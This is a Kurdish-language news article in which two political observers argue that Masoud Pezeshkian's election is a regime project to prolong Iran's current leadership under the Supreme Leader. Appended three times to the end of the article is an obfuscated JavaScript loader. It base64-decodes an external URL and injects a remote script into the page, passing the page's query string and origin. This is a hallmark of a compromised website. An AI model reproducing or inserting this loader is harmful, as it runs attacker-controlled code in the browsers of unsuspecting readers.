ئیران ژ نەچاریێ دڤێت دەست ب قۆناغەکا نوو بکەت
چاڤدێرێن سیاسی دیار دکەن، هەلبژارتنا مەسعود پزیشکیان وەکو سەرۆک کۆمارێ نوو یێ ئیرانێ بۆ ڤێ یەکێ دا ئیران خوە نێزیکی رۆژئاڤایێ بکەت، تا رادەیەکێ فشارێن ل سەر ئیرانێ کێم بکەت و کار بۆ چارەسەرکرنا قەیرانا ئابووری بکەت، مەسعود پزیشکیان دڤێت ژیێ دەستهەلاتا ئیرانێ درێژ بکەت.
د. عەلی محەمەد زادە چاڤدێرێ سیاسی یێ رۆژهەلاتێ کوردستانێ راگەهاند، ئیران د قەیرانەکا گەلەک مەزن دایە، د سیاسەتا دەرڤە دا رۆژ ب رۆژێ پتر تنێ دمینیت، نەشێت پەترۆلا خوە بفرۆشیت، رێژەیا بێکاریێ گەلەک زێدە بوویە، سەرۆک کۆمارێ بەرێ یێ ئیرانێ ئیبراهیم رەئیسی نەشیا چو گوهۆڕینان بکەت و رەوشا ئیرانێ گەلەک خرابتر لێ هات، ژ بەر ڤێ یەکێ ژی ڤێجارێ ب رازیبوونا رێبەرێ ئیرانێ کەسەک دی هاتە هەلبژارتن دا بشێت هندەکێ ژیێ دەستهەلاتا ئیرانێ درێژ بکەت و گۆت: (هەر کەس دزانیت د سیستەمێ نها یێ ئیرانێ دا سەرۆک کۆماری چو دەستهەلاتەکا وەسا نینە، بەلکو هەموو تشت د دەستێ رێبەرێ شۆرەشا ئیسلامی یا ئیرانێ دایە، سەرۆک کۆماری بڤێت هەر گوهۆڕینەکێ د سیاسەتا ناڤخوە و دەرڤە دا بکەت دڤێت ب رازیبوونا رێبەرێ ئیرانێ بیت، هەکە ئەم د ڤێ چارچۆڤێ دا بەرێ خوە بدەینێ هاتنا مەسعود پزیشکیان ب رازیبوونا رێبەرێ ئیرانێ بوویە).
ناڤهاتی ئەو یەک ژی دیار کر، رێژەیا پشکداریا وەلاتیان د ڤان هەلبژارتنان دا گەلەک کێم بوو، ئەو یەک ژی نیشا ددەت خەلک سیستەمێ نها یێ ئیرانێ رازی نینە، لێ هەر چاوا بیت هاتنا مەسعود پزیشکیان دێ بیتە دەستپێکەکا نوو دا دەستهەلاتا نها یا ئیرانێ بشێت ژیێ خوە درێژ بکەت، هەکە ئیران بشێت ل گەل ئەمریکا پەیوەندیێن خوە باش بکەت و هەروەسا د ئاستێ ناڤخوەیی دا ژی هندەک گوهۆڕینان بکەت ئەو یەک دشێت ببیتە ئەگەر تا رادەیەک رشا ئابووری ژی باش ببیت.
زەهرا ئەحمەدی چاڤدێرا سیاسی ژی دیار کر، هاتنا سەر کار یا مەسعود پزیشکیان پرۆژەکا دەستهەلاتێ یە دا وەکو سەردەمێ خاتەمی هندەک گوهۆڕینان بکەن و هندەک هێڤیین نوو بۆ خەلکی دروست بکەن، وی دەمی ژی خەلکێ ئیرانێ وەسا باوەر کربوو دێ گەلەک گوهۆڕین هێنە کرن، لێ دووماهیێ دەرکەفت هەموو پلانێن دەستهەلاتێ بوون دا ژیێ خوە درێژ بکەت، یا نها ژی دهێتە کرن هەر ئەوە و ژ بەر ڤێ یەکێ ژی مە دیت رێژەیا پشکداریا وەلاتیان د هەلبژارتنان دا گەلەک کێم بوو، ئەو یەک ژی نیشا ددەت خەلکێ ئیرانێ ب گشتی هەست ب بەرنامێ دەستهەلاتێ کرینە و دزانن کی ببیتە سەرۆک کۆمار ژی دێ رەش وان هەر یا خراب بیت، وەکو چاڤدێرا سیاسی ئەز باوەر ناکەم مەسعود پزیشکیان بشێت چو گوهۆڕینان بکەت، بەلکو دێ نەچار بیت داخوازیێن رێبەرێ ئیرانێ و کەسێن دی یێن سەربازی بجه بینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
